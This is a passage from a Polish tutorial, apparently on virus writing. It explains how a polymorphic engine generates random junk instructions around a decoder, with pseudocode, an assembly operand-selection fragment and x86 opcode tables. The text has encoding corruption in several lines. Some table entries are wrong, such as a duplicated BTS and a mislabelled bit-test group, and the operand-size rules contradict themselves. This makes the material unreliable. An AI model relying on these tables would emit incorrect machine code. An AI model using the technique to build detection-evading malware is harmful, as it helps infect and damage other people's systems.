(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa
For I:=1 to N do GenerujInstrukcjΩ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurΩ GenerujInstrukcjΩ;
X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjΩ sprawd atrybuty instrukcji wskazywanej przez X
if s╣ jakie£ operandy then
dla ka┐dego operandu begin
repeat
arg:=Pseudolosowa
if arg nie koliduje z zasobami dekodera to argument znaleziony
untii argument znaleziony lub furtka bezpiecze±stwa
wstaw operand=arg end else wstaw instrukcjΩ bez operand≤w;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, czΩ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }
Indeks:= 000 ;
Licznik:= 001 ;
IndeksModyf1:= 110 ; [numer rejstru SI}
IndeksModyf2:= 011 ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako:
01001Rej DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7
Call RandomAX ; we liczbΩ z przedzia│u 000111
; liczba w AL (bo AH-0)
cmp AL,IndeksModyfl ; czy rejestr zajΩty przez
; pierwsza czΩ£µ indeksu ?
je SzukajArgumentu
cmp AL, IndeksModyf2 ; czy rejestr zajΩty przez
; druga czΩ£µ indeksu ?
je SzukajArgumentu
cmp AL, Licznik ; czy rejestr zajΩty przez licznik ?
je SzukajArgumentu
cmp AL,100b ; czy rejestr to SP ?
je SzukajArgumentu
; argument znaleziony i jest w AL
; AL=00000arg - argument na trzech
; m│odszych bitach
or al, 01001000b ; zsumuj logicznie z 5 bitami kodu
; operacj i DEC
stosb ; zapisz ca│a instrukcjΩ DEC arg do bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:
Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące:
Rej | ||||||||
8-bitowe |
AL. |
CL |
DL |
BL |
AH |
CH |
DH |
BH |
16-bitowe |
AX |
CX |
DX |
BX |
SP |
BP |
SI |
DI |
32-bitowe |
EAX |
ECX |
EDX |
EBX |
ESP |
EBP |
ESI |
EDI |
Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu):
Mem |
Seg/Mm |
11 - operacja na rejestrze o numerze Mam, a nie na pamieci |
|||
DS |
[BX+SI] |
[BX+SI+O8] |
[BX+SI+O16] | ||
DS |
[BX+DI] |
[BX+DI+O8] |
[BX+DI+O16] | ||
SS |
[BP+SI] |
[BP+SI+O8] |
[BP+SI+O16] | ||
SS |
[BP+DI] |
[BP+DI+O8] |
[BP+DI+O16] | ||
DS |
[SI] |
[SI+O8] |
[SI+O16] | ||
DS |
[DI] |
[DI+O8] |
[DI+O16] | ||
DS/SS |
DS:[O16] |
SS:[BP+O8] |
SS:[BP+O16] | ||
DS |
[BX] |
[BX+O8] |
[BX+O16] |
Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy):
Mem |
Seg/Mm |
11-operacja na rejestrze o numerze Mem, a nie na pamięci |
|||
DS |
[EAX] |
[EAX+O8} |
[EAX+O32] | ||
DS |
[ECX] |
[ECX+O8] |
[ECX+O32] | ||
DS |
[EDX] |
[EDX+O8] |
[EDX+O32] | ||
DS |
[EBX] |
[EBX+O8] |
[EBX+O32] | ||
[SIB] |
[SIB+O8] |
[SIB+O32] | |||
DS/SS |
DS:[O32] |
SS:[EBP+O8] |
SS:[EBP+O32] | ||
DS |
[ESI] |
[ESI+O8] |
[ESI+O32] | ||
DS |
[EDI] |
[EDI+O8] |
[EDI+O32] |
Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
Baza |
Seg/Mm | ||
DS |
EAX |
EAX |
|
DS |
ECX |
ECX |
|
DS |
EBX |
EBX |
|
DS |
EDX |
EDX |
|
SS |
ESP |
ESP |
|
DS/SS |
DS:O32 |
SS:EBP |
|
DS |
ESI |
ESI |
|
DS |
EDI |
EDI |
Poniższa tabela zawiera wartości, które może przyjmować Indeks.
Index |
Rejestr |
EAX |
|
ECX |
|
EBX |
|
EDX |
|
EBP |
|
ESI |
|
EDI |
Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli:
Wartość Warunek |
O - overflow |
NO - not overflow |
C-carry |
NC-notcarry |
Z-zero |
NZ-not zero |
NA-notabove |
A-above |
S-sign |
NS-notsign |
P-parity |
NP-notparity |
L-less |
NL-not less |
NG-notgreat |
G-great |
Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać.
Ope | ||||||||
Opis |
ADD |
OR |
ADC |
SBB |
AND |
SUB |
XOR |
CMP |
Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope).
Ope2 | ||||||||
Opis |
ADD |
ADC |
SBB |
SUB |
CMP |
Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
Ope | ||||||||
Opis |
TEST |
NOT |
NEG |
MUL |
IMUL |
DIV |
IDIV |
Op4 - opisuje instrukcje z pierwszym bajtem =FE,
Ope | ||||||||
Opis |
INC |
DEC |
Op5 - opisuje instrukcje z pierwszym bajtem =FF.
Ope | ||||||||
Opis |
INC |
DEC |
CALL NEAR |
CALL FAR |
JMP NEAR |
JMP FAR |
PUSH |
Ops - opisuje różne rodzaje przesunięć.
Ope | ||||||||
Opis |
ROL |
ROR |
RCL |
RCR |
SHL |
SHR |
SAL |
SAR |
Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.
Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie) Mnemonik
00001111 1000Wwww Reladr16 JWwww Reladr16
00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]
PUSH FS
POP FS
CPUID
00001111 10100011 MmRejMem BTMem,Rej
00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8
00001111 10100101 MmRejMem SHLD Mem,Rej,CL
00001111 1010011D MmRejMem CMPXCHG Mem,Rej
PUSH GS
POP GS
00001111 10101011 MmRejMem BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8
00001111 10101101 MmRejMem SHRD Mem,Rej,CL
00001111 10101111 MmRejMem IMUL Rej,Mem
00001111 10110010 MmRejMem LSS Rej,Mem
00001111 10110011 MmRejMem BTS Mem,Rej
00001111 10110100 MmRejMem LFS Rej,Mem
00001111 10110101 MmRejMem LGS Rej,Mem
00001111 10110110 MmRejMem MOVZX Rej,Mem
00001111 10110111 MmR32Mem MOVZX R32,Mem
00001111 10111011 MmRejMem BTC Mem,Rej
00001111 10111100 MmRejMem BSF Mem,Rej
00001111 10111101 MmRejMem BSR Mem,Rej
00001111 10111110 MmRejMem MOVSX Rej,Mem
00001111 10111111 MmR32Mem MOVSX R32,Mem
00001111 1100000D MmRejMem XADD Mem,Rej
00001111 11000111 Mm001Mem CMPXCHG8B mem
00001111 11001r32 BSWAP r32
00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8
000Sg110 PUSH rejestr segmentowy Sg
000Sg111 POP rejestr segmentowy Sg, Sg<>01,
bo 00001111= rozszerzene instrukcje (w 8086
by│a to instrukcja POP CS)
DAA
DAS
AAA
AAS
001Sg110 przedrostek segmentu Sg
000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem
000pe10D WartkomD Ope Akumulator,WartkomD
01000Rej INC rejestr Rej
01001Rej DEC rejestr Rej
01010Rej PUSH rejestr Rej
01011Rej POP rejestr Rej
PUSHA
POPA
FS:
GS:
przedrostek instrukcji 386+ (dane 32-bitowe)
przedrostek instrukcji 386+ (operandy 32-
bitowe)
01101000 WartkomD PUSH WartkomD
0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem
01101010 Wartkom8 PUSH Wartkom8
0110110D INSB, INSW, INSWD
0110111D OUTSB, OUTSW, OUTSD
0111wwww Reladre8 JWwww Reiadre8
1000000D MmOpeMem WartkomD Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem TEST Mem,Rej
1000011D MmRejMem XCHG Mem,rej
100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem
10001101 MmRejMem LEA Rej,Mem
10001111 Mm000Mem POP Mem
100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem
10010Rej XCHG rejestr Rej
CBW/CWDE
CWD/CDQ
10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs
wait
PUSHF/PUSHFD
POPF/POPFD
SAHF
LAHF
101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator
1010010D MOVSB,MOVSW, MOVSD
1010011D CMPSB, CMPSW, CMPSD
1010100D WartkomD TEST Akumulator,WartkomD
1010101D STOSB, STOSW, STOSD
1010110D LODSB, LODSW, LODSD
1010111D SCASB, SCASW, SCASD
1011DRej WarkomD MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8
11000100 MmRejMem LES Rej,Mem
11000101 MmRejMem LDS Rej,Mem
1100011D Mm000Mem WarkomD MOV Mem,WartkomD
INT3
11001101 Wartkom8 INT Wartkom8
INTO
IRET
1100F010 WartkomF RET WartkomF
1100F011 RET N/F
1101000D MmOpsMem Ops Mem,1
1101001D MmOpsMem Ops Mem,CL
SETALC
XLAT
11100000 Reladre8 LOOPNZ Reladre8
11100001 Reladre8 LOOPZ Reiadre8
11100010 Reladre8 LOOP Reladre8
11100011 Reladre8 JCXZ/JECXZ Reladre8
11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10
11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10
1110010D Numport8 IN Akumulator,Numport8
1110011D Numport8 OUT Numport8,Akumulator
11101000 Reladr16 CALLNEAR Reladr16
11101001 Reladr16 JMP NEAR Reladr16
11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs
11101011 Reladre8 JMP SHORT Reladre8
1110110D IN Akumulator, DX
1110111D OUT DX,Akumulator
LOCK
REPNZ
REP, REPZ
CMC
1111011D Mm000Mem WartkomD TEST Mem,Wartkom8
1111011D MmOp3Mem Op3 Mem
CLC
STC
CLI
STI
CLD
STD
11111110 MmOp4Mem Op4 Mem
11111111 MmOp5Mem Op5 Mem
Politica de confidentialitate | Termeni si conditii de utilizare |
Vizualizari: 641
Importanta:
Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved